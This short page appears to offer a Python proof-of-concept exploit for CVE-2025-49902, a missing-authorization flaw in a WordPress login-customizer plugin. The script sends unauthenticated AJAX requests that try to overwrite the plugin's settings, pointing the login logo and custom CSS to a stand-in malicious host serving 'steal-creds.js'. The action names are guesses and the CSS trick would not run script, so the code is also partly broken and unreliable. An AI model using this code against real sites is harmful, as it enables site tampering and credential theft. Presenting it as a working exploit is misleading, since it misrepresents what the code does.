CVE-2025-49902 WordPress Customizer Login Page插件访问控制漏洞

import requests # CVE-2025-49902 PoC - Missing Authorization in Customizer Login Page # Target: WordPress site with customizer-login-page plugin <= 2.1.1 TARGET_URL = "http://target-wordpress-site.com" # The vulnerable endpoint (example - actual endpoint needs enumeration) VULNERABLE_ENDPOINT = f"{TARGET_URL}/wp-admin/admin-ajax.php" def check_vulnerability(): """Check if target is vulnerable to CVE-2025-49902""" # Step 1: Identify the vulnerable action/endpoint # The plugin lacks proper capability checks on certain AJAX actions # Example payload - enumerate plugin-specific actions vulnerable_actions = [ "customizer_login_page_save_settings", "clp_save_customizer_options", "customizer_login_save_data" ] for action in vulnerable_actions: # Step 2: Send request without authentication or with low-privilege user # The plugin doesn't verify user capabilities properly payload = { "action": action, "nonce": "", # May not be properly validated "settings": { "login_logo_url": "https://malicious-site.com/fake-login.png", "custom_css": "body { background: url('https://malicious-site.com/steal-creds.js'); }" } } response = requests.post(VULNERABLE_ENDPOINT, data=payload) # Step 3: Check if unauthorized action was successful if response.status_code == 200 and "success" in response.text: print(f"[+] VULNERABLE: Action '{action}' executed without proper authorization") return True return False # Note: This PoC demonstrates the concept. Actual exploitation requires # enumerating the specific vulnerable endpoints in the plugin code.